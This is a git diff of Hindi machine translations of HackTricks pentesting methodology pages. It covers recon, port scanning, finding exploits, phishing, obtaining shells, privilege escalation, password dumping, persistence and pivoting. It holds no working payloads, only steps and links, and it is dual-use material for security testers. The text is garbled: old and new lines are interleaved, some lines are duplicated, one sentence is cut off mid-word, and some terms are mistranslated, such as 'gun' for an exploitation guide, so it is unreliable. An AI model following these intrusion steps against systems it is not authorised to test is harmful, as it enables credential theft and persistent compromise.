पुराने लेकिन सोने के गूगल डोर्क्स हमेशा उपयोगी होते हैं **उस जानकारी को खोजने के लिए जो वहाँ नहीं होना चाहिए**। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) कई **हजारों** संभावित क्वेरी शामिल करता है जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 क्वेरी ले सकते हैं या आप उन्हें सभी चलाने के लिए एक **उपकरण जैसे** [**Gorks**](https://github.com/carlospolop/Gorks) **का उपयोग कर सकते हैं**।
|
||||
## [**पेंटेस्टिंग वेब मेथडोलॉजी**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**बग हंटर्स** द्वारा पाए गए **अधिकांश सुरक्षादायकताएं** **वेब एप्लिकेशन** के अंदर होती हैं, इसलिए इस समय मैं एक **वेब एप्लिकेशन टेस्टिंग मेथडोलॉजी** के बारे में बात करना चाहूंगा, और आप इस [**जानकारी को यहाँ पा सकते हैं**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
मैं इसे विशेष रूप से उल्लेख करना चाहता हूं [**वेब स्वचालित स्कैनर ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners), क्योंकि, यदि आपको उन्हें बहुत ही संवेदनशील दोषों को खोजने की उम्मीद नहीं है, तो वे **काम के होते हैं** कुछ प्रारंभिक वेब जानकारी पर उन्हें लागू करने के लिए।
|
||||
मैं भी विशेष रूप से ध्यान देना चाहूंगा [**वेब स्वचालित स्कैनर ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) के खंड को, क्योंकि, यदि आपको उन्हें आपको बहुत संवेदनशील दोषों को खोजने की उम्मीद नहीं है, तो वे **कार्यप्रवाहों को लागू करने में मददगार होते हैं**.
|
||||
|
||||
## संक्षेप
|
||||
## संक्षेपण
|
||||
|
||||
> बधाई हो! इस समय तक आपने पहले से ही **सभी मूल सूचना** का कार्य पूरा कर लिया है। हाँ, यह मूल है क्योंकि और भी अधिक सूचना की जा सकती है (बाद में और ट्रिक्स देखेंगे)।
|
||||
> बधाई हो! इस समय तक आपने पहले से ही **सभी मौलिक जांच** कर ली है। हाँ, यह मौलिक है क्योंकि और भी अधिक जांच की जा सकती है (बाद में और ट्रिक्स देखेंगे)।
|
||||
|
||||
तो आपने पहले से ही किया है:
|
||||
|
||||
1. सभी **कंपनियों** को स्कोप के अंदर पाया
|
||||
2. कंपनियों के सभी **संपत्तियों** को पाया (और स्कोप में हो तो कुछ वल्न स्कैन किया)
|
||||
3. कंपनियों के सभी **डोमेन** को पाया
|
||||
4. डोमेनों के सभी **सबडोमेन** को पाया (कोई सबडोमेन ले लिया?)
|
||||
5. स्कोप के अंदर सभी **आईपी** (सीडीएन से **नहीं**) को पाया।
|
||||
6. सभी **वेब सर्वर** को पाया और उनका **स्क्रीनशॉट** लिया (कुछ अजीब चीजें जिन्हें गहराई से देखने लायक हैं?)
|
||||
7. कंपनी के सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को पाया।
|
||||
8. **ईमेल**, **क्रेडेंशियल लीक**, और **रहस्य लीक** जो आपको बहुत ही आसानी से **बड़ी जीत** दे सकते हैं।
|
||||
9. आपने पाए सभी वेब्स को **पेंटेस्ट** किया है जिन्हें आपने पाए हैं।
|
||||
1. स्कोप में सभी **कंपनियों** को खोज लिया है
|
||||
2. कंपनियों के सभी **संपत्तियों** को खोज लिया है (और स्कोप में है तो कुछ वल्न स्कैन भी किया है)
|
||||
3. कंपनियों के सभी **डोमेन** को खोज लिया है
|
||||
4. डोमेनों के सभी **सबडोमेन** को खोज लिया है (कोई सबडोमेन ताक़त लेने का?)
|
||||
5. स्कोप में सभी **आईपी** (सीडीएन से और **सीडीएन से नहीं**) को खोज लिया है।
|
||||
6. सभी **वेब सर्वर** को खोज लिया है और उनका **स्क्रीनशॉट** लिया है (कुछ अजीब चीजें जिन्हें गहराई से देखने लायक हैं?)
|
||||
7. कंपनी के सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है।
|
||||
8. **ईमेल**, **क्रेडेंशियल लीक**, और **रहस्य लीक** जो आपको एक **बड़ी जीत बहुत आसानी से** दे सकते हैं।
|
||||
9. आपने पाए सभी वेब्स को **पेंटेस्ट** किया है जिन्हें आपने खोजा है।
|
||||
|
||||
## **पूर्ण रिकॉन स्वचालित टूल्स**
|
||||
|
||||
कई ऐसे टूल हैं जो दिए गए स्कोप के खिलाफ प्रस्तावित कार्रवाई का हिस्सा करेंगे।
|
||||
कई टूल हैं जो एक दिए गए स्कोप के खिलाफ प्रस्तावित कार्रवाई का हिस्सा करेंगे।
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -622,9 +624,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## **संदर्भ**
|
||||
|
||||
* सभी मुफ्त पाठ्यक्रम [**@Jhaddix**](https://twitter.com/Jhaddix) के जैसे [**द बग हंटर्स मेथडोलॉजी v4.0 - रिकॉन संस्करण**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त कोर्सेज जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_)
|
||||
|
||||
|
@ -636,10 +638,10 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित करना चाहते हैं** या **हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* प्राप्त करें [**आधिकारिक पीईएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
|
||||
* खोजें [**द पीईएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें** द्वारा पीआर जमा करके [**हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
|
@ -10,13 +10,13 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos पर PRs सबमिट करके।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -30,104 +30,104 @@ _Hacktricks लोगो डिज़ाइन किया गया है_ [_
|
|||
|
||||
क्या आपके पास उस मशीन का **भौतिक पहुंच** है जिसे आप हमला करना चाहते हैं? आपको कुछ [**भौतिक हमलों के बारे में ट्रिक्स**](../hardware-physical-access/physical-attacks.md) और [**GUI एप्लिकेशन से बचने के बारे में**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़ना चाहिए।
|
||||
|
||||
### 1 - [नेटवर्क के अंदर होस्ट की खोज](pentesting-network/#discovering-hosts)/ [कंपनी के संपत्तियों की खोज](external-recon-methodology/)
|
||||
### 1 - [नेटवर्क के अंदर होस्ट की खोज](pentesting-network/#discovering-hosts)/ [कंपनी की संपत्तियों की खोज](external-recon-methodology/)
|
||||
|
||||
**यदि** आपके द्वारा किया जा रहा **टेस्ट** एक **आंतरिक या बाह्य टेस्ट** है, तो आपको **कंपनी के अंदर होस्ट** (आंतरिक टेस्ट) या **कंपनी की संपत्तियों की खोज** (बाह्य टेस्ट) में रुचि हो सकती है।
|
||||
**यह निर्धारित करने पर निर्भर करता है** कि आप जो **टेस्ट** कर रहे हैं वह एक **आंतरिक या बाह्य टेस्ट** है, तो आपको **कंपनी नेटवर्क के अंदर होस्ट** (आंतरिक टेस्ट) या **कंपनी की संपत्तियों की खोज** करने में रुचि हो सकती है।
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि यदि आप एक बाह्य टेस्ट कर रहे हैं, एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच जाते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए।
|
||||
ध्यान दें कि अगर आप एक बाह्य टेस्ट कर रहे हैं, एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच जाते हैं तो आपको इस गाइड को फिर से शुरू करना चाहिए।
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**नेटवर्क के साथ मज़ा करना**](pentesting-network/) **(आंतरिक)**
|
||||
### **2-** [**नेटवर्क के साथ मजा करना**](pentesting-network/) **(आंतरिक)**
|
||||
|
||||
**यह खंड केवल उस समय लागू होता है जब आप एक आंतरिक टेस्ट कर रहे हैं।**\
|
||||
किसी होस्ट को हमला करने से पहले शायद आप पसंद करेंगे कि आप **नेटवर्क से कुछ क्रेडेंशियल्स चुरा लें** या कुछ **डेटा स्निफ** करें ताकि आप नेटवर्क के अंदर क्या पा सकते हैं, पैशनेटली/एक्टिवली(MitM) सीख सकें। आप [**पेंटेस्टिंग नेटवर्क**](pentesting-network/#sniffing) पढ़ सकते हैं।
|
||||
**यह खंड केवल उस समय लागू होता है जब आप आंतरिक टेस्ट कर रहे हैं।**\
|
||||
किसी होस्ट को हमला करने से पहले शायद आप पसंद करेंगे कि आप **नेटवर्क से कुछ प्रमाणपत्र चुरा लें** या कुछ **डेटा स्निफ** करें ताकि आप नेटवर्क के अंदर क्या पा सकते हैं, पासिव / सक्रिय (MitM) रूप से सीख सकते हैं। आप [**पेंटेस्टिंग नेटवर्क**](pentesting-network/#sniffing) पढ़ सकते हैं।
|
||||
|
||||
### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/#scanning-hosts)
|
||||
|
||||
**किसी होस्ट में वंरबिलिटीज़ खोजने** के लिए पहली चीज़ है जानना कि कौन सी **सेवाएं किस पोर्ट में चल रही हैं**। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए मूल उपकरण**](pentesting-network/#scanning-hosts)।
|
||||
**किसी होस्ट में वंरूपताओं की खोज करते समय** पहली चीज है कि आपको पता होना चाहिए कि कौन सी **सेवाएं किस पोर्ट में चल रही हैं**। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए मूल उपकरण**](pentesting-network/#scanning-hosts)।
|
||||
|
||||
### **4-** [सेवा संस्करण एक्सप्लॉइट्स खोजना](search-exploits.md)
|
||||
|
||||
एक बार जब आप जान जाते हैं कि कौन सी सेवाएं चल रही हैं, और शायद उनका संस्करण भी, तो आपको **जानी मानी वलनरेबिलिटीज़ खोजनी होगी**। शायद आपको भाग्यशाली हो और एक एक्सप्लॉइट मिल जाए जो आपको एक शेल देने में मदद कर सकता है...
|
||||
एक बार जब आपको पता चल जाता है कि कौन सी सेवाएं चल रही हैं, और शायद उनका संस्करण भी, तो आपको **जाने माने वंरूपताओं की खोज करनी होगी**। शायद आपको भाग्यशाली हो और एक एक्सप्लॉइट मिल जाए जो आपको एक शैल देने के लिए है...
|
||||
|
||||
### **5-** सेवाएं पेंटेस्टिंग
|
||||
|
||||
यदि किसी चल रही सेवा के लिए कोई फैंसी एक्सप्लॉइट नहीं है, तो आपको हर सेवा में **सामान्य मिसकॉन्फ़िगरेशन्स खोजनी चाहिए जो चल रही हैं**।
|
||||
अगर किसी चल रही सेवा के लिए कोई फैंसी एक्सप्लॉइट नहीं है, तो आपको हर सेवा में **सामान्य misconfigurations** खोजनी चाहिए।
|
||||
|
||||
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का पेंटेस्ट करने के लिए गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाएं सूची में** _**PENTESTING**_ **खंड** (सेवाएं उनके डिफ़ॉल्ट पोर्ट्स के अनुसार क्रमबद्ध हैं) **खोजें।**
|
||||
**इस पुस्तक में आपको सबसे सामान्य सेवाओं की पेंटेस्टिंग के लिए एक मार्गदर्शिका मिलेगी** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाएं सूची में** _**PENTESTING**_ **खंड** (सेवाएं उनके डिफ़ॉल्ट पोर्ट्स के अनुसार क्रमबद्ध हैं) **खोजें।**
|
||||
|
||||
**मैं वेब के** [**पेंटेस्टिंग वेब**](../network-services-pentesting/pentesting-web/) **भाग पर विशेष उल्लेख करना चाहता हूँ (क्योंकि यह सबसे व्यापक है)**।\
|
||||
इसके अलावा, यहाँ [**सॉफ़्टवेयर में जानी मानी वलनरेबिलिटीज़ खोजने के लिए एक छोटे गाइड**](search-exploits.md) भी मिलेगा।
|
||||
**मैं वेब पेंटेस्टिंग** के [**भाग पर विशेष उल्लेख करना चाहता हूं (क्योंकि यह सबसे व्यापक है)**।\
|
||||
इसके अलावा, यहाँ एक छोटे गाइड पर कैसे [**सॉफ़्टवेयर में जाने माने वंरूपताओं की खोज**](search-exploits.md) की जा सकती है।
|
||||
|
||||
**अगर आपकी सेवा सूची में नहीं है, तो Google में खोजें** अन्य ट्यूटोरियल्स के लिए और **मुझे बताएं यदि आप इसे जोड़ना चाहते हैं।** अगर आप **Google में कुछ नहीं** पा सकते, तो अपना **अपना ब्लाइंड पेंटेस्टिंग** करें, आप सेवा से कनेक्ट करके शुरू कर सकते हैं, उसे फज़ कर सकते हैं और जवाब पढ़ सकते हैं (अगर कोई हो)।
|
||||
**अगर आपकी सेवा सूची में नहीं है, तो Google में खोजें** अन्य ट्यूटोरियल्स के लिए और **मुझे बताएं यदि आप चाहें तो मैं इसे जोड़ने के लिए**। अगर आप **Google में कुछ नहीं** पा सकते, तो अपनी **अपनी अंधा पेंटेस्टिंग** करें, आप सेवा से कनेक्ट करने की शुरुआत कर सकते हैं, उसे fuzz कर सकते हैं और जवाब पढ़ सकते हैं (अगर कोई हो)।
|
||||
|
||||
#### 5.1 स्वचालित उपकरण
|
||||
|
||||
कई उपकरण भी हैं जो **स्वचालित वलनरेबिलिटी असेसमेंट** कर सकते हैं। **मैं आपको सिफारिश करूँगा** [**Legion**](https://github.com/carlospolop/legion)** को आज़माने के लिए, जो उस उपकरण पर आधारित है जिसके बारे में नोट्स हैं जो आप इस पुस्तक में पेंटेस्टिंग सेवाएं के बारे में पा सकते हैं।**
|
||||
कई उपकरण भी हैं जो **स्वचालित वंरूपताओं का मूल्यांकन कर सकते हैं**। **मैं आपको सिफारिश करूंगा** [**Legion**](https://github.com/carlospolop/legion)** का प्रयास करने के लिए, जो मेरे द्वारा बनाया गया उपकरण है और यह पुस्तक में पाए जाने वाले सेवाओं के पेंटेस्टिंग के बारे में नोट्स पर आधारित है।**
|
||||
|
||||
#### **5.2 सेवाओं का ब्रूट-फोर्सिंग**
|
||||
|
||||
कुछ स्थितियों में एक **ब्रूट-फोर्स** एक **सेवा** को **कंप्रोमाइज** करने के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का चीटशीट मिलेगा**](brute-force.md)**।**
|
||||
कुछ परिदृश्यों में एक **ब्रूट-फोर्स** एक सेवा को **कंप्रमाइज़** करने के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का चीटशीट पाएं**](brute-force.md)**।**
|
||||
|
||||
### 6- [फिशिंग](phishing-methodology/)
|
||||
|
||||
यदि इस समय तक आपने कोई दिलचस्प वलनरेबिलिटी नहीं पाई है तो आपको नेटवर्क के अंदर प्रवेश पाने के लिए कुछ फिशिंग करने की आवश्यकता हो सकती है। आप मेरी फिशिंग मेथडोलॉजी [यहाँ](phishing-methodology/) पढ़ सकते हैं:
|
||||
यदि इस समय तक आपने कोई दिलचस्प वंरूपता नहीं पाई है तो आपको नेटवर्क के अंदर प्रवेश प्राप्त करने के लिए कुछ फिशिंग करने की आवश्यकता हो सकती है। आप मेरी फिशिंग मेथडोलॉजी [यहाँ](phishing-methodology/) पढ़ सकते हैं:
|
||||
|
||||
### **7-** [**शेल प्राप्त करना**](shells/)
|
||||
### **7-** [**शैल को प्राप्त करना**](shells/)
|
||||
|
||||
किसी तरह से आपको विक्टिम में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए। फिर, [विक्टिम में उपयोग करने के लिए संभावित उपकरणों की सूची बहुत उपयोगी होगी](shells/)।
|
||||
किसी तरह से आपको शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए। फिर, [एक सूची संभावित उपकरण जो आप एक रिवर्स शैल प्राप्त करने के लिए उपयोग कर सकते हैं, बहुत उपयोगी होगी](shells/)।
|
||||
|
||||
विशेष रूप से Windows में आपको कुछ मदद की आवश्य
|
||||
विशेष रूप से Windows में आपको कुछ म
|
||||
### **10- विशेषाधिकार उन्नयन**
|
||||
|
||||
#### **10.1- स्थानीय विशेषाधिकार**
|
||||
|
||||
यदि आप बॉक्स के अंदर **रूट/प्रशासक नहीं** हैं, तो आपको **विशेषाधिकारों को उन्नत करने का एक तरीका ढूंढना चाहिए।**\
|
||||
यहाँ आप एक गाइड पा सकते हैं जिसमें बताया गया है कि कैसे [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकारों को उन्नत किया जाए।**\
|
||||
यहां आप यहां एक गाइड पा सकते हैं जिसमें बताया गया है कि [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकारों को उन्नत कैसे किया जाए।**\
|
||||
आपको यह भी देखना चाहिए कि **Windows कैसे काम करता है**:
|
||||
|
||||
* [**प्रमाणीकरण, परिचय, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLM कैसे काम करता है**](../windows-hardening/ntlm/)
|
||||
* Windows में [**क्रेडेंशियल्स चुराने**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) के तरीके
|
||||
* Windows में [**क्रेडेंशियल चुराने**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) के तरीके
|
||||
* [_**एक्टिव डायरेक्टरी**_](../windows-hardening/active-directory-methodology/) के बारे में कुछ ट्रिक्स
|
||||
|
||||
**Windows और Linux स्थानीय विशेषाधिकारों के मार्ग का जांच करने के लिए सर्वश्रेष्ठ उपकरणों की जांच न करना भूलें:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Windows और Linux स्थानीय विशेषाधिकारों के मार्ग का जांच करने के लिए सर्वश्रेष्ठ उपकरणों की सूची की जांच न करना भूलें:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- डोमेन विशेषाधिकार**
|
||||
|
||||
यहाँ आप एक [**मार्गदर्शिका पा सकते हैं जो एक एक्टिव डायरेक्टरी पर जांच करने, विशेषाधिकारों को उन्नत करने और स्थिर रहने के सबसे सामान्य कार्रवाईयों को समझाती है**](../windows-hardening/active-directory-methodology/)। यद्यपि यह केवल एक खंड का एक उपखंड है, लेकिन एक पेंटेस्टिंग/रेड टीम कार्य में यह प्रक्रिया **अत्यंत संवेदनशील** हो सकती है।
|
||||
यहां आप एक [**मार्गदर्शिका पा सकते हैं जो एक एक्टिव डायरेक्टरी पर जांच, विशेषाधिकारों को उन्नत करने और स्थिर रहने के सबसे सामान्य कार्रवाईयों को समझाती है**](../windows-hardening/active-directory-methodology/)। यद्यपि यह केवल एक खंड का एक उप-खंड है, लेकिन एक पेंटेस्टिंग/रेड टीम असाइनमेंट पर यह प्रक्रिया **अत्यंत संवेदनशील** हो सकती है।
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - लूटिंग
|
||||
|
||||
जांचें कि क्या आप मेज़ में और अन्य मशीनों में अपने **उपयोगकर्ता** की **विशेषाधिकारों** के साथ अधिक **पासवर्ड** पा सकते हैं।\
|
||||
यहाँ विभिन्न तरीके हैं [**Windows में पासवर्ड डंप करने के लिए**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)।
|
||||
जांचें कि क्या आप मेज़ में और अन्य मशीनों में अपने उपयोगकर्ता की **विशेषाधिकारों** के साथ अधिक **पासवर्ड** खोज सकते हैं।\
|
||||
यहां विभिन्न तरीके हैं [**Windows में पासवर्ड डंप करने के लिए**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)।
|
||||
|
||||
#### 11.2 - स्थिरता
|
||||
|
||||
**2 या 3 विभिन्न प्रकार के स्थिरता तंत्र का उपयोग करें ताकि आपको पुनः सिस्टम का उत्पीड़न करने की आवश्यकता न हो।**\
|
||||
**यहाँ आप कुछ** [**एक्टिव डायरेक्टरी पर स्थिरता ट्रिक्स पा सकते हैं**](../windows-hardening/active-directory-methodology/#persistence)**।**
|
||||
**यहां आप कुछ** [**एक्टिव डायरेक्टरी पर स्थिरता ट्रिक्स पा सकते हैं**](../windows-hardening/active-directory-methodology/#persistence)**।**
|
||||
|
||||
TODO: Windows और Linux में स्थिरता पोस्ट पूरी करें
|
||||
|
||||
### 12 - पिवोटिंग
|
||||
|
||||
**जुटाए गए प्रमाणपत्रों** के साथ आपको अन्य मशीनों तक पहुंच सकती है, या शायद आपको नए नेटवर्क्स में जुड़े अपने पीड़ित के अंदर फिर से **नए होस्ट्स की खोज और स्कैन करने की आवश्यकता हो सकती है** (पेंटेस्टिंग मेथडोलॉजी फिर से शुरू करें)।\
|
||||
इस मामले में टनलिंग आवश्यक हो सकता है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
|
||||
निश्चित रूप से आपको यह भी देखना चाहिए [**एक्टिव डायरेक्टरी पेंटेस्टिंग मेथडोलॉजी**](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट। वहाँ आपको लैटरली चलने, विशेषाधिकारों को उन्नत करने और क्रेडेंशियल्स डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\
|
||||
[**NTLM**](../windows-hardening/ntlm/) के बारे में भी पृष्ठ जांचें, यह Windows वातावरण में पिवोट करने के लिए बहुत उपयोगी हो सकता है।
|
||||
**जुटाए गए प्रमाणपत्रों** के साथ आपको अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको नए नेटवर्क्स में जुड़े अपने पीड़ित के अंदर नए होस्ट्स की **खोज और स्कैन करने की आवश्यकता हो सकती है** (पुनः पेंटेस्टिंग मेथडोलॉजी शुरू करें)।\
|
||||
इस मामले में टनलिंग आवश्यक हो सकती है। यहां आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
|
||||
निश्चित रूप से आपको यह भी देखना चाहिए [**एक्टिव डायरेक्टरी पेंटेस्टिंग मेथडोलॉजी**](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट। वहां आपको लैटरली चलने, विशेषाधिकारों को उन्नत करने और क्रेडेंशियल डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\
|
||||
[**NTLM**](../windows-hardening/ntlm/) के बारे में पेज भी जांचें, यह Windows वातावरण में पिवोट करने के लिए बहुत उपयोगी हो सकता है।
|
||||
|
||||
### अधिक
|
||||
|
||||
#### [एंड्रॉइड एप्लिकेशन](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
#### **शोषण**
|
||||
#### **उत्पादन**
|
||||
|
||||
* [**मेज़ में अधिक पासवर्ड**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
* [**बन्दूक**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**मूल शोषण उपकरण**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||
* [**मूल Linux उत्पादन**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
* [**मूल Windows उत्पादन**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**मूल उत्पादन उपकरण**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**मूल Python**](python/)
|
||||
|
||||
|
@ -137,7 +137,7 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**पैडिंग ऑरेकल**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
|
@ -145,13 +145,13 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के लिए</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
